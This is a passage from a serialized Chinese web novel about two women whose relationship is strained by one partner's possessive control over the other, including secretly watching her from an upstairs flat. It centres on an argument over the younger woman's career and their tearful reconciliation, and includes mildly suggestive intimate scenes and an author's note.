灯火都被秋雨淅淅沥沥的打成朦胧。安迟叙头一偏,靠在晏辞微肩膀上。 “姐姐。”亲吻完了总想做点什么。 这下是安迟叙克制自己,省的把她连续两天受累的姐姐弄伤了。 “团团猫。”晏辞微抱住安迟叙。 她也很难受了,某个地方比天漏的水更多。 可惜她家团团长大了,没那么肆无忌惮,会顾及她的身体,不给她。 “怎么……”“你这……” 两个人一起开口。 晏辞微轻笑一声搂紧安迟叙。 “说吧,我的小猫。”晏辞微也没那么想问了。 安迟叙舒舒服服的往晏辞微怀里靠。“你这两个月没工作吗?一直在这边演戏,就为了给我下套?” “哪里。”晏辞微嫌安迟叙说的太直白。哪儿是下套,不要戳穿她。 “忙是真的。但都是远程。远程办公很方便。有必要的话,秘书会把东西送过来再拿走。” 她到底真的有工作,才晋升分部总经理不久。怎么可能闲两个月。晏昭吟会来找茬的。 实际上这人已经找过了。只是晏辞微把分部收拾的干净,没给她留空子。 “我只是想离你近一点。”晏辞微控制不住的。想靠近安迟叙。 想每天看着她,跟着她。一刻不停的。 外面管这叫监视。 晏辞微只觉得自己在爱。 安迟叙也不会对她的偏执说什么,照收不误。 如果她们都觉得是爱。还能有什么问题? “辛苦了。”安迟叙果然不觉得有问题。 她顺过晏辞微稍干的耳发,捋到耳后,亲过那发凉的耳朵。 “雨小了,我们回家吧。”然后牵起晏辞微的手。 第一次,走在她前面。 带这找了主人两个月的小狗回家。 * * * 晏辞微没开车来。谁知道她怎么赶到办公室,来捉安迟叙的。 也有可能她今天一直跟着安迟叙,只是安迟叙以为她不在,没有感觉到。 安迟叙就跟她坐了地铁。她有驾照没车也不会开。想了想以后可能还得重新让晏辞微教。 这可能也是她们第一次,一起坐地铁。 往常晏辞微跟在三米开外。安迟叙通过玻璃反光的一点红,确认晏辞微的存在。 现在她能在人挤人的地铁上抱紧晏辞微,光明正大的要晏辞微搂着她。 加上手上的戒指。谁看不出来她们的关系。 安迟叙有些满足,头蹭过晏辞微的耳畔。 “好痒。”晏辞微抓着她的腰,手收紧了点。 “不喜欢?”安迟叙的轻笑更痒。 晏辞微贴上她的脸,不让她继续挠。 “我有个问题。”快到家了才开口。不知道憋了多久不敢说。 “团团不要生气。”还得打个预防针。 晏辞微真怕问了安迟叙就走了。 一次又一次的。她只知道她有错,却不知道究竟什么样的行为会让安迟叙下决心离开她。 “不生气啊。”安迟叙顺过晏辞微的背,眸光微沉。 “真的。你问吧,我们正常交流,正常相爱。为什么要生气?” 她的姐姐真的不对劲。 晏辞微可是恃才放旷,盛气凌人的继承人,什么时候这么卑微过? 还是在她们如此亲密,一切向好的情况下。 “可……你今天没有去找安予笙。却找去了我的办公室。”晏辞微始终想不明白。 为什么安迟叙说了要去看安予笙,却来找她? 害得她一整天提心吊胆,忍到脉搏都不对了,必须要来找安迟叙才能缓解那股不适。 “不去看她吗?”晏辞微怕自己又像在控制,多加一句。 加完就后悔,好像她多想让安迟叙去看望安予笙一样。 她到底……到底该怎么和她的团团好好相处? 她只是不想她们分开而已。 “姐姐。”安迟叙却从她怀里挣开。 拉住她的胳膊,正对正的看向她。 眼神汇在一起。 晏辞微抿嘴避开对视。 “姐姐,你看着我。”安迟叙却一定要和她对视。 这么重要的话不能错开视线说,那样情感要如何交流? “不要……”晏辞微抖着眸光干脆贴上安迟叙的身。 投怀送抱一样,搂住她的腰,蹭她脖颈。 仰头贴着她胸口,好像求和的大狗狗,黑眼不再深邃可怕,倒纯粹得有点憨傻。 “那回去说。”地铁上不好展开。 安迟叙又不可能围着晏辞微在人群里转好几圈,去追她的眼。 “团团~”晏辞微还想争取。她开口就后悔了,只是不想让安迟叙去找安予笙。既然安迟叙不去,她也不该说。 总怕安迟叙会不开心。总怕自己会做错。 “姐姐。要说的。我们不能总这样猜来猜去,怕来怕去。我是想和你走到下辈子,不是想贪恋你一丝情.欲。” 所以晏辞微的投怀送抱再好,她也要推开她。 牵上她的手,坚定的带着她回家。 晏辞微持续快着心跳。被安迟叙牵引的滋味并不好受。 被任何人指导,超出掌控的感觉都很差劲。 她向来在前,第一次跟随,给了安迟叙。 她也只能忍受安迟叙走在她前面。只要她们还在一起。 进了家门好像审判的钟声落下。 晏辞微被关门声吓得呼吸一滞,直到被安迟叙捧住脸才回神。 “我没有说要凶你嘛,怕什么呀?”又说回来,安迟叙曾几何时凶过晏辞微。 她最狠的表达也不过说要走。 晏辞微想低头。 安迟叙就凑过去追她眼睛。 两三次之后晏辞微也受不了,眼里蒙着清泪,清泪泛起粉红。 欲说还休的看着安迟叙。 安迟叙抬手擦过她眼角的泪。 “姐姐,我没有认真的想过要去看安予笙。”边擦,边柔和的解释。 她的温柔从晏辞微那里学来,也似无情。 拭泪的动作却满是爱。 “安予笙不是我们之间的问题。爱也不是,不爱也不是。顶多,安予笙是问题的一角体现。” 晏辞微捏住安迟叙的手,却张开她,贴在脸上。 晏辞微的脸润润的,被雨打湿,被泪打湿。 现在被安迟叙的手打湿。安迟叙的手多热,贴在一起黏出汗。 大狗狗要委屈的蹲下了。 安迟叙掌住她的脸把她捧起来。“可是,我能不能去看安予笙,是我们之间的问题。” 晏辞微不明白,她真蹲坐下来,仰头看着安迟叙。 她宁愿臣服于安迟叙的脚边。宁愿自抑成安迟叙掌心的驯兽。 也不知道,她该怎么做。 安迟叙也不知道。她看见晏辞微的心钻了虫子,只想把它啄出来,好生舔舐。可亲吻不是伤药。 安迟叙不是晏辞微的医生。 她只是晏辞微的爱人而已。 “先吃饭吧。”安迟叙把晏辞微勾了起来。 她不要晏辞微这样卑微。她才是晏辞微膝下的小猫。 “没关系的,姐姐。我们时间还很多。还可以慢慢来。”然后抱住晏辞微,拍拍她的背。 晏辞微贴过去,脆弱的好像马上就要碎了。 她是淋了雨就能散落一地的珍宝。必须要安迟叙把她含在嘴里。 安迟叙真这么做了。 她吻过晏辞微的泪,给她喂了口饭。 晏辞微便不再有泪,听她的话,好好吃饭,慢慢来。 * * * 十一月快要过去。 安迟叙生日当天,晏辞微把事情都推了。 她们去了最近新开的游乐园,带海洋馆和滑雪场的那种,疯玩一整天。 晏辞微说礼物被她撕坏了,临时买了点玩具补偿。 当晚玩具就上了晏辞微身。晏辞微掉着眼泪自食其果。 安迟叙每天都会去晏辞微的办公室等她忙完。 晏辞微偶尔白天会飞回s市,晚上就回来。 怪累的,安迟叙想说她出差也行,最多分开两三天。她也可以请假。 晏辞微没同意。 秋冬换季。安迟叙这回小心翼翼,还打了疫苗,没感冒发烧。 倒是熬到晏辞微生病了。 挺突然的。周末两个人都没出门,窝在沙发上一起看电视。 晏辞微这两天精神不是很好,安迟叙没闹她。 只是去拿了个饼干,转身晏辞微就开始烧了。 “姐姐?姐姐,你还好吗?”安迟叙很少看见晏辞微生病。上次竟然也是今年。 可能对晏辞微来说,她25岁这年满是病痛。 “没事……”晏辞微抱住安迟叙。 死命抓着她的衣角不松手,像落水的小狗捞着救命稻草。 “烧这么高……去医院吧。我陪你。”上次没能陪同晏辞微住院。 这次安迟叙不会再走,也不会再让步。 “不要,不要去医院。吃药就好……我带了的,只要回去拿……”晏辞微已经站起来。 她的感冒发烧特效药随身带着,就怕再遇到和安迟叙在一起的时候突然病倒。 迈步的时候又迟疑。 她已经流露过这么多的脆弱。 夜晚曾悄悄钻入安迟叙的怀。睁眼时安迟叙抱紧她。 也曾试探着比划绳索。安迟叙半夜把她们的手腕系在一起。 这次呢?她的病痛有必要隐瞒吗? 到底还是准备上楼。 安迟叙顿了下动作,跟上她。 说来是不知道。九十两个月,晏辞微住在哪儿。 安迟叙是没思考过。晏辞微在c城也有房产,但离这儿挺远的。 以晏辞微的财力再买一套也不奇怪。她哪儿需要担心晏辞微的吃住行。 可想起时还是焦虑了一瞬。 安迟叙忽然弯了笑,抬手把晏辞微打横抱起来。 “团团——”晏辞微急切的想落在地上,没意识到自己又暴露了。 “你住我这栋?”只有这样,晏辞微才能每天看着她,跟着她。 安迟叙已经想明白,就觉得晏辞微怪好玩的。 “……”晏辞微拧住安迟叙的衣领,头埋进去。 不说话了。 安迟叙轻笑着戳她背。“又没说你。是不是在楼上?” 抱着她出了门。 晏辞微猫一样缩得紧,搂着安迟叙的脖颈不敢松开。 半晌,才轻轻蹭过她的衣襟,算作回答。 安迟叙按了最顶层,和晏辞微心有灵犀。 来了顶楼安迟叙才发现那两间房都被买下,打通了。不是晏辞微做的还能是谁? 晏辞微悄悄把钥匙塞到她手里。 安迟叙打开门,看见了监控里出现过的画面。 这人真是…… 安迟叙连叹气都不敢,怕吓到晏辞微。 看向窗外,顶楼视野是很好,往下就能看见她家阳台,透过落地窗窥见她在做什么。 难怪。 安迟叙抱着她家易碎品进屋,单手去找药。 安迟叙缺乏锻炼,这样不是很容易。晏辞微死也不要从她身上下来,她只能纵着。 “特效药对你身体有没有伤害?”安迟叙翻到了那包没有包装,看起来很廉价的药。 说明书都没有一个。安迟叙问的随意,没信晏辞微给的答案,把它放在了一边,找出普通家常版感冒药,带下楼。 回家烧的热水也好了。安迟叙把它和之前凉的兑在一起,搅拌冲剂给晏辞微。 “团团……”晏辞微有点烧糊涂了,翻下沙发摔地上也要去找安迟叙。 “我在,姐姐你别乱动。”安迟叙放下勺子冲过去把晏辞微放回沙发上。 “我……我想……”晏辞微看不得安迟叙的照顾。 安迟叙知道的。 她没有听晏辞微的话,只是食指按住晏辞微的唇。 阻止晏辞微的拒绝。 “……我没有发烧。”晏辞微还想倔强。顶着安迟叙的手指也要开口。 安迟叙顺势探入她的口。 压过她不听话的舌头。 稍稍搅过。 晏辞微眼角浸出水花。红红一团,像血。 “乖姐姐。”安迟叙抿一口药俯身。 送到晏辞微口中。 晏辞微颤着手指抓住她的肩膀,泪花落下,也被安迟叙一并抚过。 “还很介意吗?”亲吻完,安迟叙把她烫得冒泡的姐姐抱在怀里,给她量体温。 晏辞微垂眸不语,肉眼可见的低落。 却没有强硬的反抗。 于是安迟叙牵起她的手,和她十指相扣。 “现在我不介意你的照顾。”她已经不会为晏辞微的爱而伤神。 这一个月晏辞微想给她做饭,想给她换衣服,想给她吹头。 都好。 “可是我也会心疼你。”特殊情况,安迟叙可不想晏辞微再受累。 “我不想你累、痛。你难受的时候,我想替你分担。你可以给我一次机会吗?” “我已经长大了。我能照顾得好你。” 晏辞微闭眼抓紧安迟叙扣来的手。 在她的气息里沉沦,痛苦。 嘴上挂着如常的笑。心里泣着血,血开出泪花,可泪花也会被安迟叙温柔的吻掉。 她的团团长大了。 她还留在过去。 这是只属于她一个人的,迟来的生长痛。 * * * 青春期的晏辞微意气风发。高昂如欢快奔跑的小鹿,在自己开拓的天地肆意奔跑。 同龄人都在因为拔高牵扯的骨头疼烦恼,晏辞微却半点感觉都没有。 每天在学生会和社团里奔波,上高中以后身后还跟了个小尾巴。 她想要的事没有做不到的。哪怕高中的学业于她这个超前学习太久的继承人来说也过于简单。 大部分上课时间,她都在天马行空的构思未来,落笔在纸上书写计划。 刷刷声盖过拔节的抽痛。 晏辞微也会写下小纸条传给身后的安迟叙,看她慢吞吞的好学生读完,纠结一张脸,不知该不该在上课给她写纸条。 长高时骨头扯着皮肉的疼被她的生活忽略,和安迟叙一起相处的日子消磨了身体隐秘的不适,牵着的手比任何止痛药都管用。 c城秋日阴云密布。 晏辞微拉着因为腿骨痛,请假不上体育课的安迟叙在教学楼后面悄悄寻宝。 秋雨将下未下,操场那边人声鼎沸。 教学楼后窄窄两三米的杂草丛,藏着两个冒险的小人。 晏辞微一边给安迟叙按腿,一边给她认杂草的种类。 要是突然下雨怎么办?安迟叙趴在晏辞微身上,假装要她背。 晏辞微一年抽条七厘米,也不见闹成安迟叙这样。 晏辞微稳了稳手臂,把过瘦的小猫托举在背上,真带着她回了教室。 雨没能下出来,??下午跑操两个人又请了假。 晏??辞微问过生长痛是什么样的,安迟叙说隐隐的,连续不断。像秋冬的细雨。 晏辞微没经历过也不想受痛,只是带安迟叙在家门口的柱子上刻下最新身高。 可那场雨终究降临在十年之后。 晏辞微被安迟叙揽在怀里,浑身上下骨头烧痛难耐,才发现。 她只是一直都没有长大。 不懂爱,不懂恨。不懂如何照顾一个人,却还是把她的团团拉扯到大。 难怪她们这么多矛盾。竟是她自己还活得是个小孩。 晏辞微悄悄睁开眼,对上安迟叙柔和的笑。 那笑多像裴绮玲。童年的阳光落在晏辞微肩头。 她一半晒着雨。一半淋了阳光。 晏辞微烧得发晕,安迟叙给她喂好药,执拗的想背起她,带她去医院。 “吃药就好的……”晏辞微终于有了动静,圈住安迟叙的脖颈。 “可是快四十度了。”安迟叙比晏辞微更不知道怎么照顾另一个人。 她努力在学。像十六岁的晏辞微那样。 “先给我退烧。”还得晏辞微来教。 晏辞微手搭在安迟叙身上,人还在安迟叙背上。 于是头贴上去,轻嗅她一个月养出来的天竺葵香。 安迟叙迟疑着把她放下,又去找退烧药。 她好歹知道每个药之间要间隔半个小时,又确认药是饭前饭后。 给晏辞微贴完退烧贴,安迟叙还得去做饭。 “好辛苦。”晏辞微抓着她的手不想松开。 生长痛原来是酸的,苦的。难怪小时候的团团难受到要请假,躲在教室里跟她撒娇。 “可是照顾你。我很幸福。”安迟叙吻过晏辞微的手背。 手背都在烫,安迟叙怜惜的蹭着,把被子给晏辞微搭好。 幸福……吗?晏辞微目送安迟叙离去,看她忙这儿忙那儿一下午。 一会儿收药,一会儿去翻一下锅,一会儿来给自己喂药,量体温,换退烧贴。甚至工作是请假,还接了两个电话。 她看着累,心疼不止。安迟叙却总是笑着的,好像照顾她真的是一件很幸福的事。 入夜晏辞微才能抱紧她忙了一天的团团,把小可怜搂进自己怀里,迷茫的想着安迟叙的话。 慢慢闭上眼。 入梦时,怀里的人无意识伸出手。 把她也揽紧了些。 * * * 晏辞微的烧在第二天基本退去。 第三天偶尔反复。安迟叙又请假回来照顾她。 晏辞微想拒绝也扭不过她,只能抱着她,走哪儿跟到哪儿。 一直到第七天晏辞微还有点咳嗽。这一周的家务被安迟叙完全包揽。 晏辞微病一好就抢了回去。 病好了骨头还闷闷的不快,她慢慢意识到这次病这么重,也许不止生理原因。 谁也没开口再提。假装她们一切都好。 步入十二月,用不了多久就要到新年了。 两个人走在去饭店的路上。手牵在一起。 晏辞微特制了一只手套,她们两个人可以揣进同一个手套里,牵着一起走。 “我提交了离职手续。”冷不丁的,安迟叙开口。 这件事拖了一个多月了。重新抱住晏辞微那天安迟叙就该递交离职申请。 只是晏辞微不问,安迟叙也就赖着。到现在赖不住,安迟叙想跟晏辞微离开了。 饭店开了暖气。晏辞微刚摘下她们绑在一起的手套,动作顿了,缓缓抬起头。 晏辞微闷了一个月没有说出口的话。安迟叙先勇敢了一步。 她对上晏辞微的眼。 “年终奖不拿了?”晏辞微看见小猫的灰眼里藏着坚定,还有许多复杂的光。 她话轻了些,她也不知道她在劝什么。 好像她不想跟着安迟叙一起回四九城一样。 ……安迟叙会和她一起回四九城吗? “就六千。还抵不上你给我一周工资。”安迟叙笑了一声。 嘴角慢慢卡在不上不下的弧度,而后看向晏辞微。 抿起那个笑。 “姐姐。我跟你回去。s市或者四九城都行。你要回四九城总部吗?”安迟叙的询问称得上惊喜。 晏辞微眼睛亮了下,旋即听见后半句。 “这次我想自己去面试。我还是想去策划岗。” 安迟叙在这一个多月里想好了。 她还是喜欢做人设,做节目。游戏策划是有意思的,但不是晏辞微的公司。 她想和晏辞微在一起,所以可以接受去她公司。但岗位,她想自己挑。 “你不用像之前一样帮我,为我铺路。我想试试自己闯。” 大不了,安迟叙想,她也可以当个唐殊嘛。 三十岁才升到组长也没什么不行。 她没有一定要干出一番事业的决心,从头到尾她都只是想要独立成人。 所以她不需要那么多资源,更不需要晏辞微的帮扶。 她说过,她是在意那些流言蜚语的。 “不行。唯独这件事,我不能让着你。” 晏辞微这么久以来第一次,决绝的否定了安迟叙的话。 但其实,她们这一个月什么也没解决。只有晏辞微一个人默默挨着骨头痛。 这会儿也在痛。晏辞微说一个字疼一下,骨头一抽一抽的,拔节得咔哒声怪异到她好像还能长高。 “……策划部门太累了。和明星打交道又容易出事,你还不要我的帮助。团团,你这样容易受伤的。” 晏辞微对上安迟叙的坚定,忍着拔断骨头一样的疼,也要把这句话说出来。 “可是我想。策划岗再累能有你这个总经理累?之前是你给我安排的事太多才导致我忙三个项目忙不过来的。我喜欢给节目安排流程,喜欢认识新的明星,看她内里和外在有什么区别。她火不火,奖金多不多都行,我不在乎工资和成就,只要我能养得起自己。” 安迟叙一恍惚看见了原原本本的晏辞微。 她以为快四个月过去,晏辞微真的在改变,在慢慢适应新的她,新的相处方式。 遇到这种事,晏辞微还是只会拒绝她。否定她。 她忘了这一个月里,晏辞微没有在她交流时露出清明的眼。 只有懵懂的迷茫,回避的亲吻。 “不可以。团团,本来就不想你进策划部门。” 晏辞微上半年做了那么多,说到底是想让安迟叙知难而退。 她真的有过破坏安迟叙带的项目的想法,好像在恨安迟叙一样。 安迟叙的直觉不曾出错。 “当我助理或者之前给你挑的岗位都好。当年就是你一意孤行……你这两年不苦吗?” “不苦。”安迟叙苦也要咬牙说谎。 她的职业她的人生,应该是她自己去走。“我觉得很好。我做的很习惯,圈内也有一定的人脉。本来今年也是你把我不由分说的‘提拔’走,中断了我的事业。” “你觉得这算照顾吗?”安迟叙声音发抖。 “……那你呢?你独立,你明知火坑还要往下跳,四九城和s市又不一样,你进策划部门你得从头开始。又当那个底层助理,被组长压榨想法。” 要是s市就算了。可安迟叙明说可以和她一起回她真正的家乡,她集团的总部。 晏辞微自己都没掌控好总部。她怕安迟叙出事。 “我现在不会了。而且,本来当时我有计划让她出丑,让她离职。你是提前帮我做了,也没有问过我的打算!” 好疼啊。 安迟叙想,比失望更痛的,是她本抱着希望。 晏辞微到底怎么想的?这三个月把她当成独立的人,怎么还会在真正的大事上这么执拗? “你的打算就两年都让她压着你拿你方案。三个多月了,团团,我忍了你的照顾,你的叛逆,你的独立。不是让你离开我去做这么危险痛苦的事的。” 晏辞微的声音染上哀求,好像是安迟叙要伤她,拿着刀子斩断她的骨,所以她这一个多月都很疼,原来不是生长痛,只是被爱人亲手捅出的伤。 “听我的不好吗?工资奖金高还不怎么加班,没有被网暴的危险,适合你的性子,不太需要和人打交道……团团,你长大了,那么多事都不听我话了,唯独这件不可以,不可以不听我的。” 晏辞微真的变回了之前的模样。 “好不好,团团?听我吧。” 安迟叙心猛一颤。 原来这三个月对她来说。 是忍耐。 是叛逆。是闹脾气。是谦让。 安迟叙不开口了。 她看向晏辞微的眼,第一次觉得她们之间如此无解。 她忆起提及安予笙时,晏辞微的回避。用恳求的诱惑将那件事抹去,当时安迟叙以为她们还有很多时间。 她才照顾完她生病的姐姐,当时晏辞微只是默默受着,确实像忍耐,毕竟一病好就什么都倒回去了。 第二次离开晏辞微再回来。 她以为她们很好,虽然慢了点,痛了点,但好歹迈出了一步。 到头来只是她的一厢情愿。 难道还要她第三次离开吗? 她不如死在晏辞微怀里。 可是。 “我为什么一定,要听你的话?”安迟叙没法不问出这句话—— 作者有话说:我还真写不到43万,我估计应该在80章左右正文完结,40万顶天了,但番外还有挺多想写的,各种if线……大家会溺爱我的吧?[可怜][可怜][可怜][可怜] 第73章 第 73 章 我爱你,不需要你有用…… 安迟叙声音很轻。 一句话却近乎质问。 是这么多年的不满和隐忍灌满安迟叙的眼。 晏辞微一阵恍惚, 她竟在安迟叙眼里看见同样的忍耐。 难道对安迟叙来说,她的照顾也是需要忍耐的东西吗? 她们若是都不爱彼此的照顾,彼此的关切, 甚至彼此的存在。 那她们的爱是什么? 安迟叙和她在一起, 又为了什么? 晏辞微感到一阵反胃。 饭菜还没上桌,油腻的感觉就流入喉头,顺着呼吸把腥味滑上滑下,叫晏辞微甚至有些忍不住。 “可你,可你不是我的宝贝吗?”晏辞微慢慢抬起头, 脸色差极。 她没想再质问安迟叙, 只是想把这次对话断掉, 像前几次那样熬过就好。 嘴不自觉的吐露, 好像油倒灌, 真要从嘴里呕出。 “你不是我的女儿,我的小猫吗?为什么不能听我的?我是妈妈啊。”质问变作低泣。 可嚎哭也是质问。一刀刀的扎向安迟叙的心。 “我不是。”安迟叙咬牙,第一次拒绝了晏辞微的母女扮演。 年少时玩闹的称呼。性.爱里暧昧的扮演。谁都以为是真的关系,被安迟叙断在三个月前。 她们不该这么错位下去。 她忍不了, 也没法继续那样爱晏辞微。 把自己装作未成年的小孩, 矮化着去接受晏辞微的爱,让自己单纯又愚蠢的游戏已经结束了。 她见过色彩, 没法再变回一张任人涂抹的白纸。 “我不是你的玩偶, 你的小猫,你的女儿。那只是爱称,不是现实。我是独立的个体。我是你的情人, 你的妻子。我是你的伴侣,你的爱人。我是你的家人、亲人。我做不了也不该做你别的存在。” “可是——”晏辞微仰起头,眼泪洒出眼眶, 只有一滴,在空中绽出水光。 其余眼泪全蒙在眼眸上,厚厚一层好像眼镜,挡着安迟叙的凝视。 “这么多年我们都这么过来了。”十年了。 她认识安迟叙,爱着安迟叙,已经十年了。 她才二十五岁,有记忆也不过二十多年。 安迟叙占据她人生的一半。所有的爱都化作本能在青春期里占据她的骨,变成她的生长痛。 十年如一日的爱她纵她掌控她。 现在要如何改? 比剜心更难。 晏辞微宁愿死在安迟叙怀里。 “所以我们才会分开啊。”安迟叙眨眼,好像那滴泪洒在她脸上,流进她眼睛,烫化她的视线。 疼痛的,叫她睁不开眼,看不见她的爱人。 “两次了。晏辞微,两次了。你以为我好受?你以为分开这两次只有你一个人整天流泪,什么都做不了,吃不下睡不着?你以为只有你惦记担心揪心?难道你看不见我给你的爱吗?”安迟叙抬了点声音。 她就是猫一样柔软安静,哪怕提高音量,也小小的。 只有晏辞微会怕这样的她。 只有晏辞微会被她连续的问话刺伤。 “你不该对我的选择指手画脚。用逼迫的方式想尽办法让我听你的命令。更不该在不问我意见的情况下帮我做决定。我是你的爱人,晏辞微。” “我已经长大了,我可以对自己的选择负责。那是我的选择,我的……是我经过查找收集思考得到的选择。晏辞微,姐姐……我求你尊重它,尊重我。”安迟叙的声音已经带上哭腔了。 晏辞微没能看见她的眼泪,却听见让她发寒的腔调。 晏辞微按住更多的话,按住心里的苦,想她们只要像之前一样,暂时不去想就好。 “我,我不想吵架。团团,我知错了。我们不吵架了,至少把饭吃完,好不好?”语气满是哀求。 安迟叙却比方才更激动。“可是不跟你吵,你永远记不住啊。” 她看穿了晏辞微的打算,失望更深,更重。 快把她拽着向下拖散架。 “第三次了,姐姐。前面两次你都是这样糊弄过去。就跟没听见一样呆呆的。今天又说你之前都是在忍耐。我对你的照顾什么时候成了要忍耐的东西?就那么难受吗?连我一点爱都不肯接受。” 她话没说完。 晏辞微的泪忽然崩了弦。 一大碗泼出来。快把她双眼都瞎了。 却没有声音。她好像只是眨眼,是眼泪自己要往外跑。 像被风暴驱逐的弱兽。 一片一片,一束一束。 晏辞微的泪把安迟叙吓了一跳,一个人竟能在一秒里流出那么多眼泪,好像晏辞微已经不是人,更不是鬼,只是一个漏水的窟窿。 安迟叙不再开口了。她说更多只会让彼此更痛。可她们到底要怎样才能迈过这个坎儿? 晏辞微眼泪掉到红了脸白了额头碎了心脏,才开口。 声音也破破烂烂的,喉头被自己的泪腐蚀出一个个血洞。 “可是如果你不需要我……”哑又慢,真漏风了一样。也只有安迟叙才能听懂现在的晏辞微。 “如果你都不需要我,那我是什么?我要怎么活?我还有什么用?”声音又变闷了,隔着水雾一样朦胧。 晏辞微看不见世界,听不见周遭。她好像进了一个白茫茫的空间,只剩她一个人的地方最让她讨厌。 恐惧着找不到方向。 一定是安迟叙断开了和她的链接,才让她落入不被观测的黑洞,化作也许存在也许不存在的量子。 晏辞微想缩起来,躲起来。把自己打碎再重组一万次。不成一个人也好,那样活得痛快。 手臂却突然被拉住。 纸巾贴上她的脸,唇瓣揉开她的眼角。 她一阵颤抖想要抵抗这带回她的人。 不要让她回到只剩她一人的世界。 天竺葵的拥抱紧了。 晏辞微被安迟叙死死抱在怀里,眼泪湿了她半面衣服。 眼泪一定很烫,安迟叙被烫得一阵一阵抖。即便如此安迟叙也没有松手,一定要把晏辞微好好的抱着。 像她说的那样。这一刻她不是晏辞微的玩偶、小猫、女儿。 她只是晏辞微的爱人。 “姐姐,你看着我。”安迟叙感觉到怀里人挣扎的力道小了,轻轻捧起她的脸。 “你听着我的话。”安迟叙对上晏辞微斑驳的泪眼,一下下的给她擦着过多的泪。 待她瞳孔聚焦,安迟叙才正式、严肃的开口。 “我爱你,不需要你有用。你只要是你就好,在我身边就好。” 她只要这些就能爱晏辞微。 哪怕晏辞微落入黑洞自我捣碎不成人形。 哪怕她化作量子态,无时无刻不围绕在安迟叙身边,却让她看不见摸不着。 晏辞微先一步做到的爱,安迟叙在十年后赠予她。 晏辞微闭上眼抓住安迟叙的衣袖,终于有了哭声,却极致压抑着,只让安迟叙听见尖高的细鸣。 安迟叙慢慢拍着晏辞微的背。等她把过去痛苦的执拗都哭出来。 晏辞微吸着安迟叙身上的味道,仿佛有阳光落在身上,背上。 她躺在摇篮里轻晃着逗弄的铃铛,被一双手抱起。 那时的温暖。大概也像现在这样纯粹。 无意识里晏辞微真的找到了她的裴绮玲。 她有了属于她的,不带目的,不求回报。 无条件的爱。 * * * “好些了吗?”走在路上,安迟叙给晏辞微擦着眼泪,提着包。 晏辞微赖在她肩头不依不饶的,完全像个没长大的孩子。 “我是不是说的太重了?”安迟叙就挽着她,搂着她。 她们快到家了,晏辞微贴了她一路。 这是从未有过的体验。安迟叙心平静下来,也没有那么无助和绝望了。 至少……至少晏辞微并非不爱她。 也可以像这样贴着她的肩头,流露脆弱和恐惧。 晏辞微摇头。“我的错。” 嗓子还很哑。于是安迟叙不让她继续开口了。 牵着晏辞微回了家。安迟叙把吃剩的饭放进冰箱,带着晏辞微洗漱后,两个人躺在床上。 “入职的事……”安迟叙捏着晏辞微的手想得到一个答案。 晏辞微闭上眼转过身。 “我不想说。”听起来很累很累。 安迟叙呼出一声叹。 无奈的,也背靠着她。 她们竟是吵了架哭成这辈子最狼狈最丑陋的模样,也要腻歪在一起。 安迟叙吵架也没想过和晏辞微分床睡。 晏辞微不理她都要躺在她身边。 她们两个到底是什么啊。 安迟叙抱着被子慢慢入梦。 想着她这几个月搜过好多好多情侣相处起矛盾的教程。心理辅导视频,甚至啃了一本书。 却没有找到任何一个和她们类似的例子。 她们是独一无二的。甜也是,苦也是。 所以她连和别人学习的机会都没有。 她们的前路只能她们自己去探索。 哪怕…… 要分开第三次。 安迟叙拽着被子的手紧了。只是想到就觉得难忍,恸哭卡在喉头。 眉头拧得紧。 身后却忽然热了一片。 又软了一片。 天竺葵的余香慢慢绕到她鼻梁,钻得她心也安定。 一个拥抱浅浅成形。晏辞微在闹了几个小时别扭以后重新拥她入怀。 “对不起。”哑着嗓子轻声道歉。 慢慢抚过她的额头,哄她入睡。 * * * 晏辞微其实知道,她犯错了。 从阻止安迟叙的第一句话开始。 她有理智和脑子。有晏明琼留下的告诫,上一辈血的教训。 她知道她不该做什么。所以过去三个月里,两个月她都只是默默陪着安迟叙。 看着她,跟着她,满足自己的私欲。却不打扰她成长的过程。 晏辞微给自己写了该怎么做。最重要的一条就是收好控制欲。 可安迟叙说她想回到策划岗位时,晏辞微的理智在那一瞬间崩塌。 她无法忍受安迟叙玩闹一样,想把自己置于危险,劳累的境地。 还不听她的劝。 晏辞微这会儿才意识到,她根本做不到她计划上写的那样。 当一个好的爱人,陪伴、支持。而不是控制。 她却想要控制安迟叙。 她想让安迟叙进入她圈定好的框架,跟着她走,成为她的一部分。 她比安迟叙有人脉,见识广,更成熟。 安迟叙跟着她,不是应该的吗? 她又不会害安迟叙。 晏辞微在半夜惊醒,一口气卡在喉头加速她的喘息。 难道她做不了安迟叙的好爱人? 不然为什么要让她知道自己的错,又不让她做到理想中的好? 不去管安迟叙的一言一行,接受安迟叙倒过来的好。 好难啊。 痛入骨了。难怪像生长痛。晏辞微以为自己把它们弄错了。 “姐姐?”安迟叙被她吵醒了。 “没事……没事。”晏辞微重新抱住她,想哄她入睡。 距离她们那次争吵,已经过去近十天了。 她们依旧像平时一样亲密,做什么都在一起。唯独不讨论翻过年来的以后。 谁都能感觉的一条隔阂。薄薄的跨在她们中间,她们看得见摸得着彼此,却无法交换一个吻。 唾液体.液透不过隔阂。拥抱也变得索然无味。 不能这样下去。谁都清楚这一点。 毕竟安迟叙已经递交离职申请了。她们只有一个月的时间和好。 或者说,无论晏辞微接受与否,一个月以后安迟叙都会动身前往四九城,找日安集团应聘策划位。 而她晏辞微只能再一次看着安迟叙离去,毫无办法。 晏辞微屡次在午夜惊醒,满身是汗。 安迟叙入睡又一次变得困难,需要晏辞微哄很久。 这次一同醒来,睁开眼晏辞微就抱住她的团团。 像快要抓不住她一样紧。 “喘不过,气,姐姐……”安迟叙推了下夸张的晏辞微。 晏辞微这才松手,把自己贴在安迟叙脖颈里。 她最近越来越频繁,越来越长久的留在安迟叙的怀抱里,扮一个小孩,给安迟叙看她最隐秘的不安。 “明天是周末。”这两周,她们连那种事都做的少。晏辞微被安迟叙牵住手,忍不住开口。 “团团要不要……”晏辞微的不安总是以这种形式体现。 “好啊。”安迟叙翻过来抱住她。 知道她是不安。 也知道她是想。 安迟叙特地开一盏夜灯,从床头柜里拿出一包手zhi套。 看着晏辞微眼底的青黑,在心里叹气。 不能再这样下去。 安迟叙想,她明天就算再跟晏辞微吵一架,也要把事情说清楚。 晏辞微搂住她的腰,眼里满是水光,求着她下手。 安迟叙也学会温柔,她戴好,俯身亲吻晏辞微。 这会儿不想那些不愉快的事。 先让她可怜的爱人好好高兴一下。 “团团……”不多时,晏辞微低泣起来。抓着安迟叙的肩膀,意外的重。 “是不是太慢了?”安迟叙越来越会折腾她的姐姐。 有时是晏辞微跟不上安迟叙的想法。 “啊……”晏辞微懵了一瞬就被刺激覆盖了五感。 